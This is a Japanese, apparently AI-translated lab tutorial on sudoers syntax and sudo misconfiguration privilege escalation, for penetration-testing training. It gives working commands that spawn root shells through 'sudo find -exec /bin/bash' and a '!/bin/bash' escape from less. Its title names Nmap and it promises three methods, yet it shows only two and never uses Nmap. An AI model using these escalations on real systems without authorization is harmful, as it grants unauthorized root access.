Nmap での Sudo 権限昇格手法を学ぶ

Beginner

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

この実験では、sudo 設定ファイルの構文について学び、sudo の脆弱性や設定ミスを通じて特権を昇格させる一般的な 3 つの方法を実践します。目的は、ペネトレーションテスト中に sudo を利用して特権を昇格させる方法をより深く理解することです。


Skills Graph

sudo 設定ファイルの構文

このステップでは、sudo の特権を設定するために使用される /etc/sudoers ファイルの構文について学びます。

/etc/sudoers ファイルは、どのユーザーまたはグループが特権を持ってコマンドを実行できるかを指定するために使用されます。/etc/sudoers ファイルの内容を表示して保存するには、次のコマンドを実行します。

sudo cat /etc/sudoers | grep root > /home/labex/project/sudoers.txt

出力は次のようになります。

## This file MUST be edited with the 'visudo' command as root.
## This preserves proxy settings from user environments of root
## While you shouldn't normally run git as root, you need to with etckeeper
## Per-user preferences; root won't have sensible values for them.
root    ALL=(ALL:ALL) ALL
## Members of the admin group may gain root privileges

この行は、root ユーザーがすべてのホストで任意のユーザーまたはグループとして任意のコマンドを実行できることを指定しています。

sudoers エントリの一般的な構文は次のとおりです。

user_or_group_name  host_list=(run_as_user:run_as_group)  command_list
  • user_or_group_name: ルールが適用されるユーザーまたはグループ。
  • host_list: ルールが適用されるホスト。値 ALL はすべてのホストを意味します。
  • run_as_user: コマンドを実行するために使用される特権を持つユーザー。値 ALL は任意のユーザーを意味します。
  • run_as_group: コマンドを実行するために使用される特権を持つグループ。値 ALL は任意のグループを意味します。
  • command_list: ユーザーまたはグループが実行することが許可されているコマンド。

引数制限のない sudo による特権昇格

このステップでは、任意のコマンドを特権付きで実行できるような sudo の設定ミスを利用して、特権を昇格させる方法を実践します。

  1. まず、ターミナルを開き、/home/labex/project ディレクトリに移動します。

    cd /home/labex/project
  2. 次のコマンドを実行して環境を初期化します。

    ./env_setup_1.sh
  3. これで user001 ユーザーとしてログインしています。

    sudo -l コマンドを使用して、あなたの sudo 特権を確認します。

    sudo -l
    (root) NOPASSWD:/usr/bin/find

    これは、パスワードなしで root 特権で find コマンドを実行できることを意味します。

  4. 特権を昇格させるには、次のコマンドを実行します。

    sudo find /home -exec /bin/bash \;

    これで root シェルが開くはずです。

  5. /root ディレクトリに success_1.txt という名前のファイルを作成して、root 特権を持っていることを確認します。

    echo "success_1" | sudo tee /root/success_1.txt

    次のコマンドを実行してファイルを確認します。

    cat /root/success_1.txt

    出力は success_1 であるはずです。

特定のコマンド引数を持つ sudo による特権昇格

このステップでは、特定のコマンドを特権付きで実行できるような sudo の設定ミスを利用して、特権を昇格させる方法を実践します。

前のステップの後、あなたは依然として root ユーザーとしてログインしています。このステップを続けるには、現在のターミナルを閉じて新しいターミナルを開く必要があります。

  1. まず、ターミナルを開き、/home/labex/project ディレクトリに移動します。

    cd /home/labex/project
  2. 次のコマンドを実行して環境を初期化します。

    ./env_setup_2.sh
  3. sudo -l であなたの sudo 特権を確認します。

    sudo -l

    期待される出力:

    (root) NOPASSWD: /bin/less /var/log/messages

    これは、パスワードなしで root 特権で /bin/less /var/log/messages コマンドを実行できることを意味します。

  4. 特権を昇格させるには、次のコマンドを実行します。

    sudo less /var/log/messages

    less ページャー内で、次のコマンドを実行します。

    !/bin/bash

    これで root シェルが開くはずです。

  5. /root ディレクトリに success_2.txt という名前のファイルを作成して、root 特権を持っていることを確認します。

    echo "success_2" | sudo tee /root/success_2.txt

    次のコマンドを実行してファイルを確認します。

    cat /root/success_2.txt

    出力は success_2 であるはずです。

まとめ

この実験では、/etc/sudoers ファイルの構文と sudo 特権の設定方法について学びました。また、sudo の設定ミスや脆弱性を通じて特権を昇格させる一般的な 3 つの方法を実践しました。sudo を利用して特権を昇格させる方法を理解することで、Linux システムにおける潜在的なセキュリティリスクをより適切に評価し、軽減することができます。